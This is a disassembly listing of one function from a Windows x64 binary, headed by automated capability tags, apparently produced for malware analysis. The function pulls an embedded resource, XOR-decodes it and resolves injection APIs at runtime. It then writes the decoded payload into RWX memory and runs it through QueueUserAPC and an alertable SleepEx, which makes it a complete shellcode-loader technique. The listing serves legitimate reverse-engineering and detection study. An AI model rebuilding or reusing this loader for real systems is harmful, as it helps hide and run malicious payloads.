Function at 0x14000bb5b
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Link many functions at runtime

Disassembly:
jmp 0x14000bb5b
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov edx, 0x65
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov edi, eax
mov rcx, rdi
call fcn.1400031a7
mov r14, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, r14
mov rdx, rax
mov r8, rdi
call fcn.14000355d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
cmp esi, 0xf
ja 0x14000bbf8
lea rcx, [rsp + 0x30]
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 0xf
mov rdx, r14
mov r8, rdi
call fcn.14000355d
lea rsi, [rsp + rdi]
add rsi, 0x30
jmp 0x14000bc47
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
lea rcx, [rbx + 1]
cmp rax, 0xfff
jb 0x14000bc1f
call fcn.140003f0d
jmp 0x14000bc24
call fcn.14000132a
mov rsi, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov rcx, rax
mov rdx, r14
mov r8, rdi
call fcn.14000355d
add rsi, rdi
mov byte [rsi], 0
lea rcx, [rsp + 0x60]
lea rsi, [rsp + 0x30]
mov rdx, rsi
call fcn.140002815
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x14000bc9c
mov rcx, qword [rsp + 0x30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000bc97
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000be2c
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140004f6b
mov qword [rsp + 0x58], r14
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
sub rbx, rdi
je 0x14000bcd9
xor eax, eax
lea rcx, str.0x13x
xor edx, edx
xor r8d, r8d
cmp edx, 5
cmove edx, eax
movsxd rdx, edx
mov r9b, byte [rdx + rcx]
xor byte [rdi + r8], r9b
inc edx
inc r8
cmp rbx, r8
jne 0x14000bcbe
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
lea rdx, str.OpenProcess
mov r15, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call r15
mov rsi, rax
lea rdx, str.VirtualAllocEx
mov rcx, r14
call r15
mov rbp, rax
lea rdx, str.WriteProcessMemory
mov rcx, r14
call r15
mov r13, rax
lea rdx, str.OpenThread
mov rcx, r14
call r15
mov qword [rsp + 0x50], rax
lea rdx, str.QueueUserAPC
mov rcx, r14
call r15
mov r12, rax
lea rdx, str.SleepEx
mov rcx, r14
call r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call rsi
mov rsi, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r8, rbx
mov r9d, 0x3000
call rbp
mov rbp, rax
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, rax
mov r8, rdi
mov r9, rbx
call r13
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [rsp + 0x50]
mov rbx, rax
mov rcx, rbp
mov rdx, rax
xor r8d, r8d
call r12
mov r15, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call r15
mov rcx, rbx
call r15
mov rcx, qword [rsp + 0x58]
call fcn.140003503
xor ecx, ecx
mov edx, 1
call r14
test rdi, rdi
je 0x14000be1a
mov rdx, qword [rsp + 0x70]
sub rdx, rdi
cmp rdx, 0x1000
jb 0x14000be12
mov rax, qword [rdi - 8]
add rdi, 0xfffffffffffffff8
sub rdi, rax
cmp rdi, 0x20
jae 0x14000be2c
add rdx, 0x27
mov rdi, rax
mov rcx, rdi
call fcn.140004f6b
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1400028dd
int3